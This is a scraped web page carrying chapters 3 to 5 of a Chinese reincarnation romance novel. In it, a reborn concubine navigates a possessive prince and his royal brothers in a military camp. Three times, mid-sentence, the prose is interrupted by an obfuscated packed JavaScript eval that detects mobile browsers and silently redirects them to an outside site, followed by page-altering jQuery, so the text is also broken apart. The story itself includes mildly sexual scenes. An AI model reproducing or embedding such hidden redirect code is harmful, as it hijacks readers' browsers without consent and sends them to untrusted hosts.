《娇宠(重生)》 3. 第3章 蔺政泊出征回来是在三天后。 李窈伽当时正坐在帐篷里的软榻上望着窗外出神,门外忽然传来脚步声,李窈伽下意识抬眸去看,帐篷的门帘被人掀开,紧接着一身主帅铠甲穿着的蔺政泊便走了进来。 李窈伽微怔。 蔺政泊淡淡扫她一眼,但没言语,径直走进帐篷开始脱铠甲。 李窈伽就这么怔怔地看着蔺政泊,这是她最熟悉的枕边人,但是现在却有一种特别微妙的陌生感。 上辈子,她是盛宠,磨合过最初的那段生疏,越往后蔺政泊便越宠她。就比如现在,如果是在上辈子,蔺政泊会先过来抱她,而不是只淡淡地扫她一眼。 蔺政泊脱下铠甲放到一边,见李窈伽依旧站在软榻旁边丝毫没有过来想要伺候他的意思。蔺政泊微微蹙眉,“愣着做什么?” 李窈伽这才反应过来,赶紧迈步向蔺政泊走过去。 蔺政泊看向她,先看她的脸。那天夜里他意识不清并没有好好看过她,后来次日纳她为妾,但因军务在身,他扔下话就直接走了,所以也没有好好看过她。现在他身无旁事,帐篷里面就他们两个人,他这样仔细地看她,才发现她生的很美。 蔺政泊视线下移,目光扫过她的胸前一瞬带过,再下移,是她纤细的腰,再下移,是她的手。 蔺政泊慢慢收回视线,语气淡淡的,“吩咐人去打水。” 李窈伽道:“殿下是要沐浴吗?” 蔺政泊嗯。 李窈伽随即转身向帐篷外面走去。 帐外就是守门的士兵,李窈伽把蔺政泊的话转述给他,然后又重新回到帐篷里。 蔺政泊的人却不见了。 李窈伽仰着头左右望了望,最后发现在屏风后面有一个人影。 李窈伽犹豫了一会儿,最后还是没有进去伺候。 负责打水的士兵很快就把水抬了进来,木桶倒满,又恭敬退了出去。 李窈伽就安安静静地等在屏风外面。她都已经习惯了蔺政泊对她千依百顺,宠着她,对她好,现在忽然对她这么冷冷淡淡,李窈伽还真有点适应不过来。李窈伽回想上辈子刚被蔺政泊纳为妾室的那会儿,蔺政泊也很冷淡,后来……李窈伽仔细想了想,大概就是跟蔺政泊睡得多了,蔺政泊才对她越来越好。 李窈伽默了片刻。 屏风里面忽然传来蔺政泊的声音,“过来。” 李窈伽微怔,然后起身走到屏风里面。 此刻蔺政泊坐在木桶里,后背靠着木桶壁,双臂左右撑开放在木桶边缘,闭着眼睛。 蔺政泊言简意赅,“衣服。” 李窈伽下意识扭头去看桌案,但上面没有衣服,只有一个白色的瓷瓶,瓶口开着,像是刚刚被人用过。 李窈伽又下意识看向蔺政泊的后背,虽然他靠着木桶,但他身量太高,还是有一截后背露在木桶外面。他的背上都是伤疤,有的深有的浅,有的甚至很是狰狞。不过那些伤疤都是旧伤,唯独前几日军鞭留下的红痕格外刺目。 李窈伽不知道这辈子的最开始发生了什么,但好像跟上辈子不太一样。上辈子,她的养父抚远侯被杀,李窈伽这些家眷全部成了战俘。蔺政泊喜欢她的美貌,便奏请天和帝把她赏给他做妾。而这辈子兰芳告诉李窈伽,她们被抓回军营后就关在了一个帐篷里,结果当天晚上,蔺政泊的亲卫强行把她拖进蔺政泊的帐篷里。蔺政泊是事后才向天和帝说,他看上了李窈伽要收李窈伽为妾,但蔺政泊这先“强占”再奏请的行为被天和帝所斥责,便打了蔺政泊二十军鞭,以儆效尤。 李窈伽看到那些军鞭留下的红痕上面涂抹了一层白色的软膏,想来应该是那白色瓷瓶里的药。 蔺政泊迟迟没有等到衣服,偏头看向李窈伽。 李窈伽感受到蔺政泊的目光才又回神,有些不知所措,“殿下,衣服在哪?” 蔺政泊:“……” “屏风上。” 李窈伽这才又抬头看向屏风,那里的确挂了一件干净的白色中衣,李窈伽连忙把衣服拿下来递给蔺政泊。 蔺政泊单手接过衣服,言简意赅,“出去吧。” 李窈伽哦,然后连忙退到外面。 这时已经是晚膳时间,有士兵送来饭菜,三菜一汤加面食,比以往李窈伽自己在帐篷里时送来的饭多。李窈伽便知道,蔺政泊应该是在这里用膳。 李窈伽先去洗了手,然后才回到桌子旁摆放碗筷。 蔺政泊沐浴完后便直接穿着干净的中衣出来。 李窈伽下意识看了眼屏风后面。 蔺政泊坐到桌子前淡淡道:“不用管,等会儿会有人来收拾。” 李窈伽应了句是。 蔺政泊没看她,只是自顾自去拿筷子,“坐,一起吃。” 李窈伽继而坐下。 蔺政泊淡淡扫了眼李窈伽手里的碗筷,然后亲自夹了一筷子菜放到李窈伽的碗里。 两个人安安静静地用了一顿晚膳,也没有谁规定用膳不能说话,但是两个人全程一句话都没有说。 用完晚膳后,蔺政泊就去休息了。 这次天和帝派他为主帅突击赫安西部,蔺政泊几乎熬了三天三夜没合眼。这会儿人一沾着床,困意袭卷,很快便睡着了。 李窈伽不困,眼下时辰还早,她没有这么早就睡觉的习惯。李窈伽继续坐回软榻上,软榻的斜对面就是蔺政泊的床。李窈伽不自觉抬眸看他一眼,烛火映衬下的男人脸上仿佛镀了一层柔光,没有了平日里的阴霾,更显得他过分好看。 李窈伽看得微微有些出神,直到帐篷外面传来脚步声,是来收拾打扫的仆人,李窈伽才收回视线,安安静静地坐在软榻上看着那些仆人们收拾卫生。 夜色深,仆人们收拾完卫生时已经是戌时末,李窈伽依旧坐在软榻上不想睡觉。 她已经重生四天了,但每一天都过的很不真实,像是在做梦一样。李窈伽还是不太习惯她已经重生的事实,生怕这只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532082|186388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一场梦,梦醒后……或者根本就醒不了,因为她已经死了。 李窈伽盘算着这一世,虽然还不知道往后是什么情况,但是开头跟上辈子差不多。李窈伽其实并不排斥给蔺政泊做妾,因为如果天和帝没有攻打赫安,她还是抚远侯的养女,往后的日子也不会比给蔺政泊做妾更好。抚远侯从来都没有把李窈伽当亲女儿看待,李窈伽对于抚远侯来说,不过是拉拢权贵的一枚棋子。换句话说,谁对抚远侯有用,李窈伽就得嫁给谁,不论这个人是老是少,是丑是俊,是君子还是小人。 李窈伽又望了眼躺在床上睡熟的蔺政泊,这个男人将来是要当皇帝的,而她这个身份,再受宠也是妾,封了皇妃也是妾。李窈伽当真是被那碗毒/鸡汤喝出阴影了。 李窈伽收回视线。 侍妾,所以,即便丢了、失踪了、不见了,蔺政泊应该也不会在意吧? 李窈伽坐在软榻上张开自己的两只小手,她看着自己的手,又重新开始盘算。 次日,蔺政泊起得很早,李窈伽还在睡着,她朦朦胧胧感到边上有动静轻轻睁开眼睛,就看到蔺政泊正站在床边背对着她穿衣服。 李窈伽揉了揉眼睛撑着身子坐起来。 蔺政泊听到声音依旧背对着李窈伽穿衣,语气很淡,“你继续睡,不必伺候。” 李窈伽哦,然后又躺回床上。她伸出小手把被子往上拉,但并未全拉上来,只盖住她的半张小脸。 蔺政泊穿好衣服回头看了李窈伽一眼,发现李窈伽只露出一双水汪汪的大眼睛也正看着她。 蔺政泊默了片刻,“你……” 他原本想嘱咐李窈伽两句,毕竟这里是军营,不能乱跑。但蔺政泊又一想,李窈伽可能也不会乱跑,便什么也没说,继而迈步向帐篷外面走去。 有亲卫恭敬候在帐篷外面,见蔺政泊出来,连忙近前行礼,“殿下。” 蔺政泊顾他一眼。 亲卫压低了声音道:“惠王那边今早也回来了,大捷。” 蔺政泊面无波澜没言语。 他这个兄长虽然心术不正,但上了战场也是一员猛将,作战极其骁勇。前几天天和帝下令让蔺政泊以及惠王兵分两路围剿赫安西部,蔺政泊那一路面对的是些残兵败将,出兵不费吹灰之力就能凯旋而归。但惠王那一路是正面与赫安西部的主力部队交锋,其作战强度远远大于蔺政泊那一路,可即便如此,惠王还是赢了。 亲卫又道:“陛下龙颜大悦。” 这话里的意思是,之前惠王做的那些下/三/滥的事情就一笔勾销了。 蔺政泊依旧面无波澜,“下去吧。” 亲卫连忙恭敬称是,但他才转身走了一步便又被蔺政泊叫住。 “等等。” 亲卫顿步,连忙又恭敬向蔺政泊行礼。 蔺政泊言简意赅,“不要只盯着惠王,惠王的谋士也要盯紧。” 亲卫依旧恭敬称是。 蔺政泊继而迈步去巡军。 4. 第4章 李窈伽起床的时候已经是巳时,兰芳给她送来早膳,是两个包子和一碗粥。李窈伽掰开包子看了眼馅儿,一个纯肉的,一个韭菜鸡蛋,李窈伽把那个韭菜鸡蛋的放到一边,然后把那个纯肉的吃了。 用过早膳,李窈伽便继续窝在帐篷里面不敢到处乱跑。 快到正午的太阳很好,但刚刚立春的天气依旧寒冷,李窈伽让兰芳弄了个小火盆,主仆二人就围着小火盆烤手。 兰芳看着李窈伽这两天的精神状态好多了,心里的担忧也放下不少,“姑娘,奴婢瞧着豫王殿下对您挺好的,您……” 剩下的话兰芳没有说下去,因为她不知道该怎么说。 兰芳是李窈伽的贴身婢女,从小陪着李窈伽一起在侯府长大。兰芳心里其实很清楚,抚远侯没有把李窈伽当过亲女儿,而如今李窈伽跟了蔺政泊,这个结果其实不算太坏。 李窈伽把两只小手都放在小火盆的上空烤着,“改口唤夫人吧。” 她如今已经是蔺政泊的妾,兰芳再唤她姑娘不合适。 兰芳点头称是。 李窈伽握了握兰芳的小手,“别担心,殿下他……” 李窈伽原本想说蔺政泊很好,是一个很好的人,但话到嘴边又觉得现在这样说不合适。这辈子,她一共才见了蔺政泊两面。 李窈伽回想上辈子,上辈子的这个时候,她对蔺政泊简直像防贼一样防着。 李窈伽没忍住弯了下唇角。 兰芳瞧见了问:“夫人您笑什么呀?” 李窈伽刚要说话,帐篷外面忽然传来一阵男人大声呵骂的声音。 李窈伽和兰芳下意识对视一眼。 兰芳立刻站起身来,“夫人,奴婢出去看看。” 李窈伽拉住兰芳的手,“我跟你一起去。” 军营里面很乱,李窈伽怕兰芳一个人出去惹麻烦,而她是蔺政泊的妾,若有什么事,蔺政泊会保她。 李窈伽随即与兰芳小心翼翼走出帐篷,她们寻着声音看去,不远处,一个身穿主帅铠甲的男人正在训斥一个士兵。 李窈伽认出那个身穿主帅铠甲的男人,正是天和帝的第三子,蔺政泊同父异母的弟弟,成王蔺政渊。 李窈伽很害怕成王,因为成王异常残暴。当年天和帝还在打天下的时候,成王的母亲言语无状激怒了天和帝,天和帝做势要杀她,但其实也就是气话,但成王当真了,直接拎着刀手刃生母。成王的这一举动连天和帝都给看傻了眼,因为天和帝根本就没想到他的儿子居然会这么残暴。 李窈伽上辈子跟成王的交集不多,但这样一个残暴的男人,她肯定会敬而远之。 李窈伽低下头,下意识就要拉着兰芳返回帐篷,但她才走了一步,身后忽然传来一声粗犷地声音直接将她喊住了。 “前面的女人,给本王站住。” 李窈伽的手脚顿时一凉。 成王慢条斯理往李窈伽身边走过来,才一走近,成王就闻到了一阵淡淡地花香。 成王轻挑凑近李窈伽的脖颈嗅了下。 李窈伽连忙躲开。 兰芳立刻把李窈伽护到身后,“你做什么?这是豫王殿下的夫人!” 成王闻言挑眉,“本王听说二哥在军营里面渔色,强占了赫安抚远侯的养女,还因此挨了二十军鞭,那个女人是你?” 李窈伽没言语。 成王阴森森笑,“二哥倒是很有眼光。” 军营里面的女人,最美最尊贵的也就是薛嫔了,而剩下的女人无非是些婢女,庸脂俗粉。 成王饶有趣味打量着李窈伽。 李窈伽不想跟成王纠缠,转身就要返回帐篷。 不远处传来一阵脚步声,“老三,什么时候回来了。” 李窈伽与成王同时抬眸看去,蔺政泊一身主帅铠甲慢慢渡着步子往这边走。 成王将目光从李窈伽的身上移向蔺政泊,语气不咸不淡的,“刚回。” 蔺政泊语调更低,“既然是刚回,那就好好在帐中歇着。” 成王皮笑肉不笑略带挑衅瞧了眼蔺政泊,“二哥这是在管教本王?” 蔺政泊不置可否,“为兄长的管教弟弟,难道不应该么?” 成王嗤声,“二哥一向不近女色,弟弟还以为二哥是何缘故,如今一看,原来是那些庸脂俗粉入不得二哥的眼。不过为了一个女人,不惜违反军纪惹父皇动怒,二哥真是得不偿失。” 蔺政泊没言语。 成王心知肚明惠王给蔺政泊下套的事,不过惠王蠢,下/三/滥的计谋没有扳倒蔺政泊反而惹了天和帝动怒。但即便如此,惠王能让蔺政泊挨一顿军鞭也挺让成王舒坦。 成王笑出声,“与其让本王在帐中好好歇着,不如二哥歇着更好些。毕竟身上有伤,要多休息才是。” 蔺政泊依旧没言语,他懒得跟成王打嘴仗。 成王继而转身大步离开。 李窈伽一直躲在帐篷门口,成王走后,蔺政泊顾了李窈伽一眼。李窈伽的小脸肉肉的,领子边缘雪白狐毛衬得她的小脸像剥了壳的荔枝一样白皙。 蔺政泊又看向一旁的兰芳,“下去。” 兰芳下意识看向李窈伽,李窈伽对她轻轻点头,兰芳才一步三回头地离开。 蔺政泊道:“跑出来做什么。” 他这话像是责备,但语气里面完全没有一丁点责备的意思。 李窈伽抿唇。 蔺政泊没言语,继而向自己的帐篷走去。 李窈伽赶紧跟在蔺政泊身后也回了帐篷。 上辈子,成王最后是惨死在蔺政泊手里。 华安军变,蔺政泊率军闯入京城,先是用强弓射/杀了那会儿已经成为太子的惠王蔺政清,又用刀砍/死了成王蔺政渊,这还不算,蔺政泊直接将二王的首级砍下,然后拎着两颗血淋淋的脑袋一路杀进正阳殿,杀了天和帝篡位登基。 李窈伽想到此处,没来由又抬头看向蔺政泊。 蔺政泊察觉到李窈伽的目光,语气无波,“看什么?” 李窈伽:“没。” 蔺政泊:“……” 两个人继续往帐篷里面走。 蔺政泊忽然问李窈伽,“前几日,你去后厨要了避子汤?” 李窈伽顿了顿,没言语,算是默认。 上辈子她一开始也是喝避子汤,是蔺政泊不想让她早生孩子,因为蔺政泊南征北战都要带着她,一旦怀了孩子不方便随军。但后来蔺政泊说避子汤伤身就不让她喝了,再侍寝的时候,蔺政泊会用羊肠衣。 这辈子李窈伽没考虑蔺政泊愿不愿意让她生孩子,是她自己不想生,因为她都不打算跟蔺政泊过了,还生孩子做什么? 蔺政泊语气无波,“为何?” 一般都是夫君不准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532083|186388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妾室生孩子,还是第一次听说妾室自己不愿意生孩子。 李窈伽肯定不能把她的心里话宣之于口,只能扯谎道:“我身份卑微,不敢怀殿下的孩子。” 蔺政泊并不太相信李窈伽的这番说辞,但他的确不太希望李窈伽太早生孩子。 蔺政泊言简意赅,“避子汤伤身,以后别喝了。” 跟上辈子一模一样的话,一个字都不差。 蔺政泊:“不生孩子的方法又不是只有避子汤这一种。” 李窈伽顿时脸上微红。 蔺政泊瞧见了她的脸红,忽然单臂把她抱起来。李窈伽下意识搂住蔺政泊的脖颈,动作娴熟一气呵成,仿佛她不是第一次这么被蔺政泊抱。 的确也不是第一次。 上辈子,蔺政泊最喜欢这么抱她,她早就已经习惯了,但这辈子不一样,这辈子才刚刚开始。 李窈伽后知后觉一瞬间把搂着蔺政泊脖颈的手弹开。 蔺政泊察觉到顾了一眼,“怎么不搂了?刚才不是搂得挺顺手。” 李窈伽:“……” 蔺政泊握着李窈伽的手又把她的胳膊挂到他的脖颈上,李窈伽背靠着帐篷里的柜子,蔺政泊没来由的兴致,大手在她腰上轻轻按了下。 李窈伽下意识就往蔺政泊怀里躲,但躲进去才后知后觉她躲反了方向。 如果她跟蔺政泊不熟,或换成别的男人这么轻挑,她一定是往外躲,但上辈子她被蔺政泊轻挑了无数次,她都往蔺政泊的怀里躲习惯了。 李窈伽再想躲出去是不可能了,因为蔺政泊已经顺势把她抱进怀里。 蔺政泊其实也有点意外李窈伽居然会往他怀里躲,他都已经准备好只要李窈伽一往外躲就把她拉回来,结果李窈伽主动来了个投怀送抱。 李窈伽柔若蒲草,抱着她纤细柔软的身子,蔺政泊只觉得下腹有些胀。他直接将人重新抵在柜子上,一手扣着她的后脑一手搂着她纤细的腰,然后低头就去亲她的唇。 李窈伽太知道蔺政泊想要做什么了,她想躲,但她越躲蔺政泊就亲得越凶。李窈伽只能柔顺下来履行一个侍妾该尽的本分。 帐篷中很快便传出来低低的呜咽,守在帐外的两个亲卫听到了,但他们就当没听到,依旧站得笔直,一动不动守在帐篷外面。 入夜,天和帝宣三王入主帐议事。 如今赫安部经过接二连三地重创,已经是师老兵疲,天和帝没耐心再跟赫安部继续耗下去,所以决定趁夜出兵,由惠王蔺政清做主帅从正面迎敌,豫王蔺政泊与成王蔺政渊兵分两路成左右夹击之势支援惠王,然后一举将赫安全部剿灭。 三王领命,继而分别带兵出发。 这一战是在深夜爆发,结束是在第二天清晨,赫安部被打得溃不成军,赫安王被蔺政泊立斩马下,惠王与成王下令士兵去抢牛羊、金银以及其他财物,大朔军队大获全胜,凯旋归来。 赫安灭,天和帝龙颜大悦,先后封赏了三王,其中蔺政泊被封为太尉、赫安都督、海州道邢台尚书令、领左右十二卫大将军。 这些官职李窈伽都不太懂,即便上辈子她就已经知道蔺政泊担任过这些官职,但那个时候她就是个宠妾,除了伺候好蔺政泊之外,其他事情跟她都没有关系。 当然,这辈子李窈伽也不打算研究蔺政泊的官职,那些都不重要,因为蔺政泊最后当的是皇帝。 5.第5章 赫安部被灭,天和帝准备班师回朝。经过商议,天和帝决定只带惠王蔺政清和成王蔺政渊回京,而豫王蔺政泊则留在赫安处理战后的相关事宜。 这不算是好事。 虽然留下处理善后之事是因为天和帝的信任,但太子未立,不跟在皇帝身边,被立为太子的可能性就会降低很多。 天和帝一走,整个军营就属蔺政泊的权利最大。蔺政泊把最大的帐篷改为主帐,然后让李窈伽先搬过去住。 蔺政泊忙完正事回到主帐,李窈伽正秀秀气气地坐在主帐里的软榻上吃糕点。她虽然看见蔺政泊这号人了,但并没有起身向蔺政泊行礼。 蔺政泊淡淡看着李窈伽。 李窈伽开始没觉出什么问题,直到吃完手里的那块糕点,她才后知后觉反应过来,她现在才刚刚跟了蔺政泊不久,蔺政泊还没有那么宠她。 李窈伽赶紧又起身向蔺政泊行礼,“拜见殿下。” 蔺政泊:“……” 李窈伽连忙又道:“殿下用过晚膳了吗?要不要再用些糕点?” 蔺政泊迈步走到桌案前扫了眼盘子里的糕点,应该是八个一份,但现在盘子里面就剩了俩。 蔺政泊:“让本王用这两个?” 李窈伽:“……可以让人再上一份新的。” 蔺政泊:“算了,本王用过了,帐篷里闷,带你出去走走。” 李窈伽不太想去。 蔺政泊直接转身往帐篷门口的方向走,“跟上。” 李窈伽:“……” 三月底的天气已经不再寒冷,但也没有太热,刚好是气候宜人。有风迎面吹过来扑在李窈伽的脸上,柔柔的很是舒服。 军营这边偏僻,但也正因为偏僻,四周都是绿植,那些绿植中间随着春风摇曳着点点红,不是什么名贵品种,只是一些小野花。 蔺政泊随手摘了一朵递给李窈伽,“上次看到帐篷里面摆了些花,你喜欢花?” 李窈伽嗯。 蔺政泊又道:“等回京之后再给你摘更好看的,王府里面有很多花。” 李窈伽没言语只拿着手里的小野花玩。 蔺政泊转身又开始往回走。 这段路不长,对于蔺政泊来说根本就没有活动开,但对于李窈伽来说已经可以了。毕竟娇娇柔柔的小姑娘,走的太远容易脚疼。 李窈伽就继续跟在蔺政泊后面,也不看路,蔺政泊走一步她就跟着走一步,蔺政泊往哪走她就跟着往哪走。 蔺政泊看着李窈伽不是很开心的样子随口道:“是不是军营里面太闷了?” 李窈伽摇头。 其实还好,上辈子她也经常跟着蔺政泊出征,她都已经习惯了军营里的生活。 蔺政泊刚想说如果觉得闷就去街市逛逛,但话到嘴边又觉得不妥。现在赫安刚刚平定,其实不算特别安全,有些赫安的百姓表面臣服但心里未必真服,就像之前平定幽州的时候,幽州总兵都投降了,但百姓们后续还闹了一次起义。 蔺政泊最后什么话都没说,一路沉默走回帐篷。 这之后的几天,李窈伽基本上就没再见到过蔺政泊这号人。因为赫安的善后事宜非常多,所以蔺政泊自然也非常忙。 大约过了五天左右,蔺政泊的四弟怀王蔺政温路过赫安。这个怀王蔺政温是天和帝的第四子,今年才十八,性格单纯,跟哪个兄弟关系都不错。天和帝一直派他镇守在钦州,这次天和帝班师回朝,顺道下旨让镇北侯去了钦州,并把怀王调到了暮州。暮州与赫安相邻,怀王路过赫安,肯定得来见见他的二哥蔺政泊。 蔺政泊对他这个四弟倒是有几分兄弟之情,所以听说他来,便吩咐了亲卫准备酒宴。 怀王是下午酉时末抵达了赫安军营,这几乎是赶着饭点来的,所以怀王一来就直接进帐入宴。 兄弟之间便是家宴,蔺政泊与怀王二人落座,各自喝了一樽。蔺政泊向怀王打听了一下钦州的情况,怀王知无不言,一股脑儿把蔺政泊想知道的事情都说了。 但怀王不喜欢谈公事,说完蔺政泊想听的,他便又自顾自转开话题,“二哥,我听说你在军营渔色让父皇罚了你二十军鞭?” 蔺政泊默了片刻,“这事儿都传到钦州了。” 怀王大大咧咧的,“那可不,何止是钦州,估计现在就没人不知道。” 蔺政泊:“……” 怀王又道:“二哥,是什么样的绝色美人把二哥迷成这样?叫出来也让我看看。” 蔺政泊本在倒酒,闻言持壶的手微顿,抬眸看向怀王。 但蔺政泊也知道怀王只是少年心性,他想看李窈伽,完全是因为好奇。 怀王直接凑到蔺政泊身边,“哥,你让小嫂嫂出来给我看看,我又不抢你的。” 蔺政泊眼神不算友善扫向怀王。 怀王一个劲儿地撺掇,“哥,你把小嫂嫂叫出来,我特意来赫安看小嫂嫂。” 他这话说出口又觉得不太对,连忙又补了句,“当然也顺便来看看二哥。” 蔺政泊:“……” 怀王嘿嘿笑。 蔺政泊只好吩咐亲卫,“去请夫人。” 亲卫恭敬称是,然后转身向主帐走去。 李窈伽是知道怀王这个人,但她上辈子没有见过,只听说怀王后来被天和帝派往獲梁镇守边界,一直到蔺政泊登基称帝也没有调回。 李窈伽简单换了身得体的衣服才跟着亲卫去了宴席。 怀王原本也没觉得李窈伽能有多美,毕竟传言这种事就是越传越离谱,但谁知李窈伽一走进帐篷就给怀王看愣了。 传言不仅不离谱,反而传得还差了些。眼前的李窈伽,比怀王听说的描述还要更美。 蔺政泊看了眼李窈伽,让她坐到自己跟前,“怀王。” 李窈伽守着规矩恭恭敬敬对怀王行礼,“怀王殿下。” 怀王一个箭步就凑到李窈伽跟前,“哥,小嫂嫂生得可真美!” 李窈伽被怀王突然靠近吓了一跳。 蔺政泊伸手拎住怀王的后颈衣领又把怀王提溜回原位。 怀王后知后觉自己刚才唐突了,但他绝对没有轻/贱李窈伽的意思,连忙道:“小嫂嫂勿怪,我在军营里面糙惯了,失了礼数,但绝无冒犯小嫂嫂之意。” 李窈伽知道。 怀王一看就是单纯地少年心性,只是看眼睛就能看出来。惠王的眼睛算计、蔺政泊的眼睛深沉、成王的眼睛狠毒,而怀王的眼睛亮亮的,没有一点心机。 李窈伽友善对怀王微笑。 她笑起来就更美了。 但李窈伽的嘴角才刚扬起来,一道凉凉的视线扫过,李窈伽立刻就不敢再笑了。 上辈子,蔺政泊对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16545451|186388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她盛宠,但占有欲也极强,她多看别的男人一眼都不行。而这辈子,且压下盛宠不说,但蔺政泊的占有欲已经表现出来了。 怀王大大咧咧的看不出两人之间的这一细微,还在跟蔺政泊感慨,“等往后我要娶亲,也要娶位像小嫂嫂这样貌美的人儿!” 蔺政泊:“……” 李窈伽:“……” 蔺政泊对李窈伽道:“回主帐歇着吧。” 言外之意,不准再让怀王看她。 李窈伽也不愿意触蔺政泊的眉头,怀王是少年心性不假,但怀王回头走了,遭殃的还得是李窈伽。因为有上辈子的经历,李窈伽有理由相信,蔺政泊虽然不会打她,但蔺政泊会让她下不了床。 李窈伽继而起身,先瞥了蔺政泊一眼,才又规规矩矩地向怀王行了个礼。 怀王并不强留李窈伽,他的确就是好奇什么样的绝色美人能让他二哥不惜被罚二十军鞭,如今看过了,他也就不好奇了。 怀王笑着朝李窈伽客套:“小嫂嫂请。” 李窈伽没敢多跟怀王客套,她只又一伏身,然后退出帐外。 兰芳一直在外面候着,见李窈伽出来,连忙上前道:“夫人。” 李窈伽看向兰芳,“走吧,我们回去了。” 兰芳称是。 主仆二人继而一起回了主帐,李窈伽原本以为蔺政泊和怀王会通宵喝酒,或者喝到后半夜,毕竟男人的酒宴一喝多了话就多,话一多,酒宴一时半会儿就结束不了,但李窈伽才回了主帐没待多久,蔺政泊就紧跟着回来了。 李窈伽微微有些意外,但还是先守着规矩给蔺政泊行礼。 蔺政泊走到软榻上坐下,自顾自倒了杯茶,“你是本王的侍妾,以后这些虚礼都免了。” 李窈伽应了声好。 终于走到不用行礼这个环节了,跟上辈子蔺政泊准许她不必行礼的时间差不多。 兰芳及时送来醒酒汤,李窈伽将醒酒汤接过去,然后吩咐兰芳,“去歇着吧。” 兰芳恭敬称是,随即退出帐外。 李窈伽继而将醒酒汤端给蔺政泊,“殿下怎么这么早就回来了?” 蔺政泊言简意赅,“怀王明天还要赶赴暮州,本王让他早些休息。” 李窈伽哦。 但其实并不是因为这个原因。 怀王常年带兵在外,别说一夜不睡,就是三天三夜不合眼也没关系。但蔺政泊心里念着李窈伽,根本没心思跟怀王喝酒,便早早打发怀王去休息。 蔺政泊端起醒酒汤喝了口,莫名又想起方才在席间李窈伽对着怀王笑,她笑得那么甜,可自从纳她为妾的这段日子以来,她都没那样对他笑过。 蔺政泊的心里不是很舒服,“你喜欢怀王?” 李窈伽闻言一愣。 怀王性子纯良,不拘小节,相处起来让人觉得轻松,李窈伽肯定是不讨厌的。但这话李窈伽不可能宣之于口。 李窈伽违心道:“怀王很好,但远不及殿下。” 蔺政泊心知肚明李窈伽在这跟他扯谎,但她愿意顺着他,他也很受用。 蔺政泊把手里的醒酒汤放到一边,又对李窈伽道:“过来。” 李窈伽连忙先把话说明白,“殿下,我来月事了。” 蔺政泊:“……” “怎么本王让你过来就那么一件事?”